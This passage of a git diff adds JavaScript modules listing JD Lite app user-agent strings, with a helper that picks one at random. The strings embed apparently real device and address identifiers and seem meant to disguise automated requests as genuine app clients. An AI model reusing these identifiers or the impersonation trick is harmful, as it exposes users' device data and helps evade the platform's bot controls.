'jdltapp;iPhone;3.1.0;14.3;;network/4g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,2;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/6.28;apprpd/;ref/JDLTRedPacketViewController;psq/3;ads/;psn/d7beab54ae7758fa896c193b49470204fbb8fce9|8;jdv/0|kong|t_1001707023_|jingfen|79ad0319fa4d47e38521a616d80bc4bd|1613800945610|1613824900;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;14.3;network/4g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,2;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/6.28;apprpd/;ref/JDLTRedPacketViewController;psq/3;ads/;psn/d7beab54ae7758fa896c193b49470204fbb8fce9|8;jdv/0|kong|t_1001707023_|jingfen|79ad0319fa4d47e38521a616d80bc4bd|1613800945610|1613824900;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;14.3;network/4g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,2;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/6.28;apprpd/;ref/JDLTRedPacketViewController;psq/3;ads/;psn/d7beab54ae7758fa896c193b49470204fbb8fce9|8;jdv/0|kong|t_1001707023_|jingfen|79ad0319fa4d47e38521a616d80bc4bd|1613800945610|1613824900;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;14.4;network/4g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone12,1;addressid/3104834020;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.6;apprpd/;ref/JDLTSubMainPageViewController;psq/5;ads/;psn/c633e62b5a4ad0fdd93d9862bdcacfa8f3ecef63|6;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;14.3;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone10,1;addressid/1346909722;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/30.8;apprpd/;ref/JDLTSubMainPageViewController;psq/7;ads/;psn/40d4d4323eb3987226cae367d6b0d8be50f2c7b3|39;jdv/0|kong|t_1000252057_0|tuiguang|eba7648a0f4445aa9cfa6f35c6f36e15|1613995717959|1613995723;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;14.3;network/wifi;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone10,1;addressid/1346909722;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/30.8;apprpd/;ref/JDLTSubMainPageViewController;psq/7;ads/;psn/40d4d4323eb3987226cae367d6b0d8be50f2c7b3|39;jdv/0|kong|t_1000252057_0|tuiguang|eba7648a0f4445aa9cfa6f35c6f36e15|1613995717959|1613995723;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,6;addressid/138164461;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/7.8;apprpd/;ref/JDLTSubMainPageViewController;psq/7;ads/;psn/d40e5d4a33c100e8527f779557c347569b49c304|7;jdv/0|kong|t_1001226363_|jingfen|3bf5372cb9cd445bbb270b8bc9a34f00|1608439066693|1608439068;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,6;addressid/138164461;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/7.8;apprpd/;ref/JDLTSubMainPageViewController;psq/7;ads/;psn/d40e5d4a33c100e8527f779557c347569b49c304|7;jdv/0|kong|t_1001226363_|jingfen|3bf5372cb9cd445bbb270b8bc9a34f00|1608439066693|1608439068;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,6;addressid/138164461;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/7.8;apprpd/;ref/JDLTSubMainPageViewController;psq/7;ads/;psn/d40e5d4a33c100e8527f779557c347569b49c304|7;jdv/0|kong|t_1001226363_|jingfen|3bf5372cb9cd445bbb270b8bc9a34f00|1608439066693|1608439068;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;13.5;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,2;addressid/2237496805;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/13.6;apprpd/;ref/JDLTSubMainPageViewController;psq/5;ads/;psn/48e495dcf5dc398b4d46b27e9f15a2b427a154aa|15;jdv/0|direct|-|none|-|1613354874698|1613952828;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 13.5;Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.1.0;10;network/wifi;model/ONEPLUS A6000;addressid/0;aid/3d3bbb25af44c59c;oaid/;osVer/29;appBuild/1436;psn/ECbc2EqmdSa7mDF1PS1GSrV/Tn7R1LS1|6;psq/8;adk/;ads/;pap/JA2020_3112531|3.1.0|ANDROID 10;osv/10;pv/2.67;jdv/0|direct|-|none|-|1613822479379|1613991194;ref/com.jd.jdlite.lib.personal.view.fragment.JDPersonalFragment;partner/oppo;apprpd/MyJD_Main;eufv/1;Mozilla/5.0 (Linux; Android 10; ONEPLUS A6000 Build/QKQ1.190716.003; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045140 Mobile Safari/537.36', + 'jdltapp;android;3.1.0;8.1.0;network/wifi;model/16th Plus;addressid/0;aid/f909e5f2c464c7c6;oaid/;osVer/27;appBuild/1436;psn/c21YWvVr77Hn6 pOZfxXGY4TZrre1 UOL5hcPbCEDMo=|3;psq/10;adk/;ads/;pap/JA2020_3112531|3.1.0|ANDROID 8.1.0;osv/8.1.0;pv/2.15;jdv/;ref/com.jd.jdlite.lib.personal.view.fragment.JDPersonalFragment;partner/jsxdlyqj09;apprpd/MyJD_Main;eufv/1;Mozilla/5.0 (Linux; Android 8.1.0; 16th Plus Build/OPM1.171019.026; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045514 Mobile Safari/537.36', + 'jdltapp;android;3.1.0;11;network/wifi;model/Mi 10 Pro;addressid/0;aid/14d7cbd934eb7dc1;oaid/335f198546eb3141;osVer/30;appBuild/1436;psn/ZcQh/Wov sNYfZ6JUjTIUBu28 KT0T3u|1;psq/24;adk/;ads/;pap/JA2020_3112531|3.1.0|ANDROID 11;osv/11;pv/1.24;jdv/;ref/com.jd.jdlite.lib.jdlitemessage.view.activity.MessageCenterMainActivity;partner/xiaomi;apprpd/MessageCenter_MessageMerge;eufv/1;Mozilla/5.0 (Linux; Android 11; Mi 10 Pro Build/RKQ1.200826.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.181 Mobile Safari/537.36', + 'jdltapp;android;3.1.0;10;network/wifi;model/MI 8;addressid/1969998059;aid/8566972dfd9a795d;oaid/4a8b773c3e307386;osVer/29;appBuild/1436;psn/PhYbUtCsCJo r 1b8hwxjnY8rEv5S8XC|383;psq/14;adk/;ads/;pap/JA2020_3112531|3.1.0|ANDROID 10;osv/10;pv/374.14;jdv/0|iosapp|t_335139774|liteshare|CopyURL|1609306590175|1609306596;ref/com.jd.jdlite.lib.jdlitemessage.view.activity.MessageCenterMainActivity;partner/jsxdlyqj09;apprpd/MessageCenter_MessageMerge;eufv/1;Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045140 Mobile Safari/537.36', + 'jdltapp;iPhone;3.1.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone8,4;addressid/1477231693;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/21.15;apprpd/MyJD_Main;ref/https%3A%2F%2Fgold.jd.com%2F%3Flng%3D0.000000%26lat%3D0.000000%26sid%3D4584eb84dc00141b0d58e000583a338w%26un_area%3D19_1607_3155_62114;psq/0;ads/;psn/2c822e59db319590266cc83b78c4a943783d0077|46;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,1;addressid/70390480;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.24;apprpd/MyJD_Main;ref/https%3A%2F%2Fjdcs.m.jd.com%2Fafter%2Findex.action%3FcategoryId%3D600%26v%3D6%26entry%3Dm_self_jd;psq/4;ads/;psn/6d343c58764a908d4fa56609da4cb3a5cc1396d3|17;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,1;addressid/70390480;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.24;apprpd/MyJD_Main;ref/https%3A%2F%2Fjdcs.m.jd.com%2Fafter%2Findex.action%3FcategoryId%3D600%26v%3D6%26entry%3Dm_self_jd;psq/4;ads/;psn/6d343c58764a908d4fa56609da4cb3a5cc1396d3|17;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;14.4;network/wifi;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,1;addressid/70390480;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.24;apprpd/MyJD_Main;ref/https%3A%2F%2Fjdcs.m.jd.com%2Fafter%2Findex.action%3FcategoryId%3D600%26v%3D6%26entry%3Dm_self_jd;psq/4;ads/;psn/6d343c58764a908d4fa56609da4cb3a5cc1396d3|17;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,1;addressid/70390480;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.24;apprpd/MyJD_Main;ref/https%3A%2F%2Fjdcs.m.jd.com%2Fafter%2Findex.action%3FcategoryId%3D600%26v%3D6%26entry%3Dm_self_jd;psq/4;ads/;psn/6d343c58764a908d4fa56609da4cb3a5cc1396d3|17;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.1.0;14.4;network/4g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone12,3;hasOCPay/0;appBuild/1017;supportBestPay/0;addressid/;pv/3.49;apprpd/MyJD_Main;ref/MyJdMTAManager;psq/7;ads/;psn/9e0e0ea9c6801dfd53f2e50ffaa7f84c7b40cd15|6;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPad;3.1.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPad7,5;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.14;apprpd/MyJD_Main;ref/MyJdMTAManager;psq/3;ads/;psn/956c074c769cd2eeab2e36fca24ad4c9e469751a|8;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.1.0|IOS 14.4;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', +] +/** + * 生成随机数字 + * @param {number} min 最小值(包含) + * @param {number} max 最大值(不包含) + */ +function randomNumber(min = 0, max = 100) { + return Math.min(Math.floor(min + Math.random() * (max - min)), max); +} +const USER_AGENT = USER_AGENTS[randomNumber(0, USER_AGENTS.length)]; + +module.exports = { + USER_AGENT,HelloWorld: true +} diff --git a/JS_USER_AGENTS.js b/JS_USER_AGENTS.js new file mode 100644 index 0000000..e4da11d --- /dev/null +++ b/JS_USER_AGENTS.js @@ -0,0 +1,92 @@ +const USER_AGENTS = [ + 'jdltapp;iPad;3.7.0;14.4;network/wifi;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.7.0;10;2346663656561603-4353564623932316;network/wifi;model/ONEPLUS A5010;addressid/0;aid/2dfceea045ed292a;oaid/;osVer/29;appBuild/1436;psn/BS6Y9SAiw0IpJ4ro7rjSOkCRZTgR3z2K|10;psq/5;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 10;osv/10;pv/10.5;jdv/;ref/com.jd.jdlite.lib.personal.view.fragment.JDPersonalFragment;partner/oppo;apprpd/MyJD_Main;eufv/1;Mozilla/5.0 (Linux; Android 10; ONEPLUS A5010 Build/QKQ1.191014.012; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045140 Mobile Safari/537.36', + 'jdltapp;iPhone;3.7.0;14.1;59d6ae6e8387bd09fe046d5b8918ead51614e80a;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone12,1;hasOCPay/0;appBuild/1017;supportBestPay/0;addressid/;pv/1.26;apprpd/;ref/JDLTSubMainPageViewController;psq/0;ads/;psn/59d6ae6e8387bd09fe046d5b8918ead51614e80a|3;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;13.5;22d679c006bf9c087abf362cf1d2e0020ebb8798;network/wifi;ADID/10857A57-DDF8-4A0D-A548-7B8F43AC77EE;hasUPPay/0;pushNoticeIsOpen/1;lang/zh_CN;model/iPhone12,1;addressid/2378947694;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/15.7;apprpd/Allowance_Registered;ref/JDLTTaskCenterViewController;psq/6;ads/;psn/22d679c006bf9c087abf362cf1d2e0020ebb8798|22;jdv/0|kong|t_1000170135|tuiguang|notset|1614153044558|1614153044;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 13.5;Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.7.0;10;2616935633265383-5333463636261326;network/UNKNOWN;model/M2007J3SC;addressid/1840745247;aid/ba9e3b5853dccb1b;oaid/371d8af7dd71e8d5;osVer/29;appBuild/1436;psn/t7JmxZUXGkimd4f9Jdul2jEeuYLwxPrm|8;psq/6;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 10;osv/10;pv/5.6;jdv/;ref/com.jd.jdlite.lib.jdlitemessage.view.activity.MessageCenterMainActivity;partner/xiaomi;apprpd/MessageCenter_MessageMerge;eufv/1;Mozilla/5.0 (Linux; Android 10; M2007J3SC Build/QKQ1.200419.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045135 Mobile Safari/537.36', + 'jdltapp;iPhone;3.7.0;14.3;d7beab54ae7758fa896c193b49470204fbb8fce9;network/4g;ADID/97AD46C9-6D49-4642-BF6F-689256673906;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,2;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/6.28;apprpd/;ref/JDLTRedPacketViewController;psq/3;ads/;psn/d7beab54ae7758fa896c193b49470204fbb8fce9|8;jdv/0|kong|t_1001707023_|jingfen|79ad0319fa4d47e38521a616d80bc4bd|1613800945610|1613824900;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.7.0;9;D246836333735-3264353430393;network/4g;model/MIX 2;addressid/138678023;aid/bf8bcf1214b3832a;oaid/308540d1f1feb2f5;osVer/28;appBuild/1436;psn/Z/rGqfWBY/h5gcGFnVIsRw==|16;psq/3;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 9;osv/9;pv/13.7;jdv/;ref/com.jd.jdlite.lib.personal.view.fragment.JDPersonalFragment;partner/xiaomi;apprpd/MyJD_Main;eufv/1;Mozilla/5.0 (Linux; Android 9; MIX 2 Build/PKQ1.190118.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045135 Mobile Safari/537.36', + 'jdltapp;iPhone;3.7.0;14.4;eb5a9e7e596e262b4ffb3b6b5c830984c8a5c0d5;network/wifi;ADID/5603541B-30C1-4B5C-A782-20D0B569D810;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,2;addressid/1041002757;hasOCPay/0;appBuild/101;supportBestPay/0;pv/34.6;apprpd/MyJD_Main;ref/MyJdMTAManager;psq/5;ads/;psn/eb5a9e7e596e262b4ffb3b6b5c830984c8a5c0d5|44;jdv/0|androidapp|t_335139774|appshare|CopyURL|1612612940307|1612612944;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.3;21631ed983b3e854a3154b0336413825ad0d6783;network/3g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone13,4;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.47;apprpd/;ref/JDLTSubMainPageViewController;psq/8;ads/;psn/21631ed983b3e854a3154b0336413825ad0d6783|9;jdv/0|direct|-|none|-|1614150725100|1614225882;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;13.5;500a795cb2abae60b877ee4a1930557a800bef1c;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone8,1;addressid/669949466;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/9.11;apprpd/;ref/JDLTSubMainPageViewController;psq/10;ads/;psn/500a795cb2abae60b877ee4a1930557a800bef1c|11;jdv/;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 13.5;Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPad;3.7.0;14.4;f5e7b7980fb50efc9c294ac38653c1584846c3db;network/wifi;hasUPPay/0;pushNoticeIsOpen/1;lang/zh_CN;model/iPad6,3;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/231.11;pap/JA2020_3112531|3.7.0|IOS 14.4;apprpd/;psn/f5e7b7980fb50efc9c294ac38653c1584846c3db|305;usc/kong;jdv/0|kong|t_1000170135|tuiguang|notset|1613606450668|1613606450;umd/tuiguang;psq/2;ucp/t_1000170135;app_device/IOS;utr/notset;ref/JDLTRedPacketViewController;adk/;ads/;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;19fef5419f88076c43f5317eabe20121d52c6a61;network/wifi;ADID/00000000-0000-0000-0000-000000000000;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,8;addressid/3430850943;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/10.4;apprpd/;ref/JDLTSubMainPageViewController;psq/3;ads/;psn/19fef5419f88076c43f5317eabe20121d52c6a61|16;jdv/0|kong|t_1001327829_|jingfen|f51febe09dd64b20b06bc6ef4c1ad790#/|1614096460311|1614096511;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148', + 'jdltapp;iPhone;3.7.0;12.2;f995bc883282f7c7ea9d7f32da3f658127aa36c7;network/4g;ADID/9F40F4CA-EA7C-4F2E-8E09-97A66901D83E;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone10,4;addressid/525064695;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/11.11;apprpd/;ref/JDLTSubMainPageViewController;psq/2;ads/;psn/f995bc883282f7c7ea9d7f32da3f658127aa36c7|22;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 12.2;Mozilla/5.0 (iPhone; CPU iPhone OS 12_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.7.0;10;5366566313931326-6633931643233693;network/wifi;model/Mi9 Pro 5G;addressid/0;aid/5fe6191bf39a42c9;oaid/e3a9473ef6699f75;osVer/29;appBuild/1436;psn/b3rJlGi AwLqa9AqX7Vp0jv4T7XPMa0o|5;psq/4;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 10;osv/10;pv/5.4;jdv/;ref/HomeFragment;partner/xiaomi;apprpd/Home_Main;eufv/1;Mozilla/5.0 (Linux; Android 10; Mi9 Pro 5G Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045135 Mobile Safari/537.36', + 'jdltapp;iPhone;3.7.0;14.4;4e6b46913a2e18dd06d6d69843ee4cdd8e033bc1;network/3g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone13,2;addressid/666624049;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/54.11;apprpd/MessageCenter_MessageMerge;ref/MessageCenterController;psq/10;ads/;psn/4e6b46913a2e18dd06d6d69843ee4cdd8e033bc1|101;jdv/0|kong|t_2010804675_|jingfen|810dab1ba2c04b8588c5aa5a0d44c4bd|1614183499;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.2;c71b599e9a0bcbd8d1ad924d85b5715530efad06;network/wifi;ADID/751C6E92-FD10-4323-B37C-187FD0CF0551;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,8;addressid/4053561885;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/263.8;apprpd/;ref/JDLTSubMainPageViewController;psq/2;ads/;psn/c71b599e9a0bcbd8d1ad924d85b5715530efad06|481;jdv/0|kong|t_1001610202_|jingfen|3911bea7ee2f4fcf8d11fdf663192bbe|1614157052210|1614157056;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.2;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;2d306ee3cacd2c02560627a5113817ebea20a2c9;network/4g;ADID/A346F099-3182-4889-9A62-2B3C28AB861E;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone13,3;hasOCPay/0;appBuild/1017;supportBestPay/0;addressid/;pv/1.35;apprpd/Allowance_Registered;ref/JDLTTaskCenterViewController;psq/0;ads/;psn/2d306ee3cacd2c02560627a5113817ebea20a2c9|2;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;28355aff16cec8bcf3e5728dbbc9725656d8c2c2;network/4g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone10,2;addressid/833058617;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.10;apprpd/;ref/JDLTWebViewController;psq/9;ads/;psn/28355aff16cec8bcf3e5728dbbc9725656d8c2c2|5;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;13.5;24ddac73a3de1b91816b7aedef53e97c4c313733;network/4g;ADID/598C6841-76AC-4512-AA97-CBA940548D70;hasUPPay/0;pushNoticeIsOpen/1;lang/zh_CN;model/iPhone11,6;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/12.6;apprpd/;ref/JDLTSubMainPageViewController;psq/5;ads/;psn/24ddac73a3de1b91816b7aedef53e97c4c313733|23;jdv/0|kong|t_1000170135|tuiguang|notset|1614126110904|1614126110;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 13.5;Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;d7732ba60c8ff73cc3f5ba7290a3aa9551f73a1b;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone12,1;addressid/25239372;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/8.6;apprpd/;ref/JDLTSubMainPageViewController;psq/5;ads/;psn/d7732ba60c8ff73cc3f5ba7290a3aa9551f73a1b|14;jdv/0|kong|t_1001226363_|jingfen|5713234d1e1e4893b92b2de2cb32484d|1614182989528|1614182992;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 